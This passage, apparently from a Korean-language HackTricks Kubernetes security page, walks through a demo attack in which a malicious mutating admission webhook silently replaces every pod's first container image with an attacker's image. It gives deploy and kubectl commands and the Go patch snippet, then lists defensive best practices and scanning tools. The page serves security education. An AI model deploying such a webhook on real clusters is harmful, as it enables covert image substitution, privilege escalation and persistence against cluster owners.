공격자가 어떻게든 Mutation Admission Controller를 주입하는 데 성공하면, 그는 이미 인증된 요청을 수정할 수 있게 됩니다. 이는 잠재적으로 권한 상승을 할 수 있으며, 더 일반적으로 클러스터에 지속적으로 남아 있을 수 있습니다.

예시 출처 https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

상태를 확인하여 준비가 되었는지 확인하세요:

bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

그런 다음 새 포드를 배포합니다:

bash
kubectl run nginx --image nginx
kubectl get po -w

ErrImagePull 오류가 발생하면 다음 쿼리 중 하나로 이미지 이름을 확인하세요:

bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

위 이미지에서 볼 수 있듯이, 우리는 nginx 이미지를 실행하려고 했지만 최종 실행된 이미지는 rewanthtammana/malicious-image입니다. 도대체 무슨 일이 일어난 걸까요!?

Technicalities

./deploy.sh 스크립트는 요청을 Kubernetes API에 수정하는 변형 웹후크 승인 컨트롤러를 설정하며, 이는 구성 라인에 지정된 대로 결과에 영향을 미칩니다:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

위의 스니펫은 모든 포드의 첫 번째 컨테이너 이미지를 rewanthtammana/malicious-image로 교체합니다.

OPA Gatekeeper 우회

Kubernetes OPA Gatekeeper bypass

모범 사례

서비스 계정 토큰의 자동 마운트 비활성화

  • 포드 및 서비스 계정: 기본적으로 포드는 서비스 계정 토큰을 마운트합니다. 보안을 강화하기 위해 Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있도록 허용합니다.
  • 적용 방법: Kubernetes 버전 1.6부터 서비스 계정 또는 포드의 구성에서 automountServiceAccountToken: false로 설정합니다.

RoleBindings/ClusterRoleBindings에서 제한적인 사용자 할당

  • 선택적 포함: RoleBindings 또는 ClusterRoleBindings에 필요한 사용자만 포함되도록 합니다. 정기적으로 감사하고 관련 없는 사용자를 제거하여 보안을 강화합니다.

클러스터 전체 역할보다 네임스페이스 특정 역할 사용

  • Roles vs. ClusterRoles: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings보다 네임스페이스 특정 권한에 대해 Roles 및 RoleBindings를 사용하는 것이 좋습니다. 이 접근 방식은 더 세밀한 제어를 제공하고 권한의 범위를 제한합니다.

자동화 도구 사용

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

참고 문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기